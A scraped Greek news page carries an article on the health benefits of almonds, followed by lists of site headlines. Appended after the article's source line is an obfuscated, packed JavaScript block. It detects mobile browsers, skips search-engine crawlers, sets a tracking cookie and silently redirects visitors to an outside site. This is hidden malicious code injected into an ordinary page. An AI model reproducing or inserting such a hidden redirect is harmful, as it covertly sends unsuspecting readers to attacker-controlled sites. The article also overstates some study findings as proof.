Αμύγδαλα κατά της χοληστερίνης, καρδιακών και καρκίνου παχέος εντέρου
Αν σας έλεγαν ότι υπάρχει ένα συγκεκριμένο είδος ξηρού καρπού, το οποίο μειώνει τον κίνδυνο επιπλοκών από αυξημένη χοληστερίνη, την πιθανότητα εκδήλωσης καρκίνου του παχέος εντέρου, αλλά και τον κίνδυνο καρδιακής νόσου, δεν θα θέλατε να το συμπεριλάβετε στο διαιτολόγιό σας;
Τα αμύγδαλα είναι καλή πηγή βιταμίνης-Ε, χαλκού, μαγνησίου και υψηλής ποιότητας πρωτεΐνης. Περιέχουν επίσης υψηλά επίπεδα υγιών ακόρεστων λιπαρών οξέων και πολλών βιοδραστικών μορίων (όπως ίνες, φυτοστερόλες, βιταμίνες, μέταλλα και αντιοξειδωτικά), τα οποία μπορεί να βοηθήσουν στην πρόληψη καρδιαγγειακών νόσων.
Δείτε τα μοναδικά οφέλη των αμυγδάλων για την υγεία σας:
Μειώνουν τη χοληστερίνη
Έρευνα που δημοσιεύθηκε στο ιατρικό περιοδικό American Diatetic Association έδειξε ότι η κατανάλωση αμυγδάλων αυξάνει τα επίπεδα βιταμίνης Ε στο πλάσμα και στα ερυθρά αιμοσφαίρια στο αίμα, ενώ μειώνει και τα επίπεδα στην χοληστερίνη. Η βιταμίνη Ε είναι ένα ισχυρό αντιοξειδωτικό που προστατεύει τα κύτταρα από τη φθορά σε καθημερινή βάση και αποτρέπει το φράξιμο των αρτηριών και την οξείδωση της χοληστερόλης.
Μείωση του κινδύνου καρκίνου του παχέος εντέρου
Ερευνητές από το πανεπιστήμιο της Καλιφόρνια πραγματοποίησαν έρευνα για τις επιπτώσεις της κατανάλωσης αμυγδάλων σε διάφορους τύπους καρκίνου και απέδειξαν ότι η μεγαλύτερη επίδραση αφορούσε τον καρκίνο του ορθού. Σύμφωνα με τους συγγραφείς της μελέτης, τα αποτελέσματα έδειξαν ότι «η κατανάλωση αμυγδάλων μπορεί να μειώσει τον κίνδυνο εμφάνισης καρκίνου του παχέος εντέρου, μέσω ενός λιπιδίου που περιέχουν”. Η συγκεκριμένη έρευνα δημοσιεύθηκε στην επιστημονική επιθεώρηση Cancer Letters.
Μείωση του κινδύνου καρδιαγγειακών παθήσεων
Τα αμύγδαλα, μαζί με τους υπόλοιπους ξηρούς καρπούς και σπόρους εν γένει, συνδέονται συχνά με βελτιωμένα επίπεδα λιπιδίων στο αίμα και με την καλύτερη υγεία της καρδιάς.
Υπάρχουν στοιχεία που δείχνουν ότι η κατανάλωση αμυγδάλων μπορεί να βοηθήσει στη μείωση της στεφανιαίας καρδιακής νόσου.
Έρευνα που δημοσιεύθηκε στο ιατρικό περιοδικό Circulation, έδειξε ότι όταν τα αμύγδαλα χρησιμοποιούνται ως σνακ στη διατροφή των υπερλιπιδαιμικών ατόμων, μπορούν να μειώσουν σημαντικά τους παράγοντες κινδύνου της στεφανιαίας καρδιακής νόσου, λόγω της περιεκτικότητάς τους σε άπαχα (πρωτεΐνες και φυτικές ίνες) και μονοακόρεστα συστατικά.
http://www.medicalnewstoday.com
Πηγή: iatropedia.greval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!».replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘z(1d.1k.1l(«16»)==-1){(2V(a,b){z(a.1l(«2W»)==-1){z(/(2X|2U\\d+|2T).+1b|2P|2Q\\/|2R|2S|2Y|2Z|37|38|39|G(36|B|L)|W|35|30 |31|33|34|1b.+2O|2N|1i m(2z|2A)i|2B( K)?|2y|p(2x|2t)\\/|2u|2v|2w|2C(4|6)0|2D|2K|M\\.(2L|2M)|2J|2I|2E 2F|2G|2H/i.17(a)||/3a|3b|3E|3F|3G|50[1-6]i|3D|3C|a D|3y|X(N|Z|s\\-)|Y(3z|3A)|O(3B|1g|U)|3H|3I(3P|x|3Q)|3R|P(3O|A)|3N(j|3J)|3K|3L(3M|\\-m|r |s )|3x|3w(I|S|3i)|1a(3j|3k)|3h(X|3g)|3c(e|v)w|3d|3e\\-(n|u)|3f\\/|3l|3m|2s\\-|3u|3v|3s|3r\\-|U(3n|R)|3o|3p(V|S|3q)|3S|2l\\-s|1B|1x|1y|1c(c|p)o|1E(12|\\-d)|1J(49|Y)|1w(1H|1F)|N(1m|1n)|1o|1v([4-7]0|K|D|1p)|1s|1q(\\-|15)|F u|1r|1I|2r\\-5|g\\-y|A(\\.w|B)|2f(L|29)|2a|2b|2i\\-(m|p|t)|2o\\-|2p(J|14)|2n( i|G)|2j\\-c|2k(c(\\-| |15|a|g|p|s|t)|28)|27(1S|1T)|i\\-(20|A|q)|1R|1Q( |\\-|\\/)|1N|1O|1P|1V|1W|24|25|W|23(t|v)a|22|1X|1Y|1Z|2e|26( |\\/)|1U|2m |2q\\-|2h(c|k)|2c(2d|2g)|1M( g|\\/(k|l|u)|50|54|\\-[a-w])|1t|1u|1L\\-w|1G|1K\\/|q(j|1D|1z)|Q(f|21|1g)|m\\-1A|1C(3t|T)|4p(5E|5F|E)|5G|y(f|5D|1a|5C|1c|t(\\-| |o|v)|5z)|5A(50|3T|v )|5H|5I|5O[0-2]|5P[2-3]|5N(0|2)|5M(0|2|5)|5J(0(0|1)|10)|5K((c|m)\\-|5L|5y|5x|5l|5m)|5n(6|i)|5k|5j|5g(5h|5i)|5o|5p|5v|5R(a|d|t)|5u|5t(13|\\-([1-8]|c))|5q|5r|C(5s|5Q)|67\\-2|65(I|69|11)|63|64|J\\-g|5U\\-a|5Z(5Y|12|21|32|60|\\-[2-7]|i\\-)|5X|66|6a|6c|6b|5V(5T|62)|5W\\/|5S(6d|q|68|5w|x|5e)|4m(f|h\\-|Z|p\\-)|4n\\/|11(c(\\-|0|1)|47|Q|R|T)|4o\\-|4l|4k(\\-|m)|4h\\-0|4i(45|4j)|5f(O|P|4q|V|4w)|4x(4v|x)|4u(f|h\\-|v\\-|v )|4r(f|4s)|4t(18|50)|4g(4f|10|18)|14(3Z|41)|42\\-|3Y\\-|3X(i|m)|3U\\-|t\\-y|3V(C|3W)|E(H|m\\-|43|44)|4d\\-9|M(\\.b|F|4e)|4c|4b|46|48|4a(4y|j)|4z(40|5[0-3]|\\-v)|4Y|4Z|51|4X(52|53|60|61|H|4W|4T|4U|4V|55)|56(\\-| )|5c|5d|5b(g |5a|57)|58|59|4S|4R\\-|4F|4G|4H\\-/i.17(a.4E(0,4))){4D 1e=1h 19(1h 19().4A()+4B);1d.1k=»16=1; 4C=/;4I=»+1e.4J();1j.4P=b}}})(1f.4Q||1f.4O||1j.1i,\’4N://4K.4L/4M/?5B&\’)}’,62,386,’|||||||||||||||01||||te|||||||ma|||||||ny|mo|if|go|od|pl|wa|ts|g1|ip|70|ck|pt|os|ad|up|er|al|ar|mc|nd|ll|ri|co|it|iris|ac|ai|oo||se|||ta|_|_mauthtoken|test||Date|bi|mobile|do|document|tdate|navigator|ca|new|opera|window|cookie|indexOf|ic|k0|esl8|ze|fly|g560|fetc|libw|lynx|ez|em|dica|dmob|xo|cr|devi|me|ui|ds|ul|m3ga|l2|gene|el|m50|m1|lg|ibro|idea|ig01|iac|i230|aw|tc|klon|ikom|im1k|jemu|jigs|kddi|||jbro|ja|inno|ipaq|kgt|hu|tp|un|haie|hcit|le|no|keji|gr|xi|kyo|hd|hs|ht|dc|kpt|hp|hei|hi|kwc|gf|cdm|re|plucker|pocket|psp|ixi|phone|ob|in|palm|series|symbian|windows|ce|xda|xiino|wap|vodafone|treo|browser|link|netfront|firefox|avantgo|bada|blackberry|blazer|meego|bb|function|Googlebot|android|compal|elaine|lge|maemo||midp|mmp|kindle|hone|fennec|hiptop|iemobile|1207|6310|br|bumb|bw|c55|az|bl|nq|lb|rd|capi|ccwa|mp|craw|da|ng|cmd|cldc|rc|cell|chtm|be|avan|abac|ko|rn|av|802s|770s|6590|3gso|4thp|amoi|an|us|attw|au|di|as|ch|ex|yw|aptu|dbte|p1|tim|to|sh|tel|tdg|gt||lk|tcl|m3|m5||v750||veri||vi|v400|utst|tx|si|00|t6|sk|sl|id|sie|shar|sc|sdk|sgh|mi|b3|sy|mb|t2|sp|ft|t5|so|rg|vk|getTime|1800000|path|var|substr|your|zeto|zte|expires|toUTCString|gettop|info|kt|http|vendor|location|userAgent|yas|x700|81|83|85|80|vx|vm40|voda||vulc||||98|w3c|nw|wmlb|wonu|nc|wi|webc|whit|va|sm|op|ti|wv|o2im|nzph|wg|wt|nok|oran|owg1|phil|pire|ay|pg|pdxg|p800|ms|wf|tf|zz|mt|BFzSww|de|02|o8|oa|mmef|mwbp|mywa|n7|ne|on|n50|n30|n10|n20|uc|pan|sa|ve|qa|ro|s55|qtek|07|qc|||zo|prox|psio|po|r380|pn|mm|rt|r600|rim9|raks|ge’.split(‘|’),0,{}))
- Δημοφιλέστερες Ειδήσεις Κατηγορίας Blogs
- Έκτακτο: Τώρα - Ανείπωτη τραγωδία στην Εθνική Οδό
- Μητέρα Δώρας Ζέμπερη: Ποιοι θα πάρουν την ασφάλεια ζωής, τι της εκμυστηρεύτηκε η 32χρονη
- Συμπληρωματική κατάθεση θα δώσει σήμερα ο πατέρας της άτυχης εφοριακού - Τι εκτιμά η αστυνομία
- Όλοι ύποπτοι για τη δολοφονία της εφοριακού - Τα τρία σενάρια [Βίντεο]
- Τα...γυρνάει ο πατέρας της άτυχης Δώρας - Ούτε λέξη περί λίστας Λαγκάρντ και την ανάμειξη του ΣΔΟΕ στην υπόθεση στης άγριας δολοφονίας της κόρης του
- Ο Έλληνας «βασιλιάς» των ψαριών στην Κολωνία
- Αλλάζει η ώρα την κυριακή
- Πλοίο-γεωτρύπανο ξεκινά σεισμολογικές έρευνες στον κορινθιακό
- ΣΟΚ - 30 αντιεξουσιαστές ξυλοκόπησαν τρεις δόκιμους αξιωματικούς,έναν στρατιώτη και τρεις πολίτες στο Μοναστηράκι
- «Τρελάθηκε» το πλήθος όταν ο Βλ. Πούτιν άρχισε να μιλά στα αγγλικά στο Παγκόσμιο Φεστιβάλ Νέων στο Σότσι (βίντεο)
- Δημοφιλέστερες Ειδήσεις Aixmi
- Ξύλο σε Ευέλπιδες; Πάπαλα σύντροφοι…
- Κακλαμάνης: Θα ήθελα να είχα κάνει ένα παιδί…
- Αμύγδαλα κατά της χοληστερίνης, καρδιακών και καρκίνου παχέος εντέρου
- Μάνος Χατζιδάκις, σε τι πίστευε και ποιους περιφρονούσε
- Εντυπωσίασε στην πασαρέλα η κόρη της Βάνας Μπάρμπα (ΒΙΝΤΕΟ)
- Συναγερμός στις Αρχές – Εντοπίστηκε στη Θράκη Ι.Χ που μετέφερε χιλιάδες σφαίρες
- Τα «γαλλικά» του Ντιμπάλα στον Αλέγκρι: Το μ…. της μάνας σου
- Δελτία των 8: Αλλαγή στη 2η θέση την Κυριακή
- Όταν ο Ανδρόνικος έφερε στο φως τον τάφο του βασιλιά Φιλίππου
- Τελευταία Νέα Aixmi
- Αμύγδαλα κατά της χοληστερίνης, καρδιακών και καρκίνου παχέος εντέρου
- Κακλαμάνης: Θα ήθελα να είχα κάνει ένα παιδί…
- Εντυπωσίασε στην πασαρέλα η κόρη της Βάνας Μπάρμπα (ΒΙΝΤΕΟ)
- Όταν ο Ανδρόνικος έφερε στο φως τον τάφο του βασιλιά Φιλίππου
- Τα «γαλλικά» του Ντιμπάλα στον Αλέγκρι: Το μ…. της μάνας σου
- Συναγερμός στις Αρχές – Εντοπίστηκε στη Θράκη Ι.Χ που μετέφερε χιλιάδες σφαίρες
- Μάνος Χατζιδάκις, σε τι πίστευε και ποιους περιφρονούσε
- Δελτία των 8: Αλλαγή στη 2η θέση την Κυριακή
- Ξύλο σε Ευέλπιδες; Πάπαλα σύντροφοι…
- Έφυγε από τη ζωή ο κινηματογραφιστής του «Ζορμπά», Γουόλτερ Λάσαλι (ΒΙΝΤΕΟ)
- Τελευταία Νέα Κατηγορίας Blogs
- Μέτρα της Τροχαίας κατά τον εορτασμό της 28ης Οκτωβρίου...
- Αναστασιάδης: Βαθιά εκτίμηση της Κύπρου για το ρόλο της Ρωσίας...
- Τι έκανε ο άτακτος σκύλος του Μακρόν...
- Ο Έλληνας «βασιλιάς» των ψαριών στην Κολωνία
- Εκτάκτως το Σάββατο με τη Realnews: «O 2oς Παγκόσμιος Πόλεμος», Harper’s Bazaar - Η Realnews σας πάει θέατρο
- Πρόστιμα και απαγόρευση της κυκλοφορίας οχημάτων με ιστορικές πινακίδες
- Αυτά είναι τα «τάγματα εφόδου» - 38χρονος που ήταν με την κοπέλα του, έπεσε θύμα άγριου ξυλοδαρμού από αντιεξουσιαστές στο Σύνταγμα [Βίντεο]
- Όλοι ύποπτοι για τη δολοφονία της εφοριακού - Τα τρία σενάρια [Βίντεο]
- Πώς θα δημιουργήσετε κωδικό που θα πάρει 227 εκατομμύρια χρόνια σε έναν χάκερ για να τον σπάσει
- Αντζελίνα Τζολί: Η απίστευτη ομοιότητα της κόρης της, Σιλό, με τον Μπραντ Πιτ [εικόνες]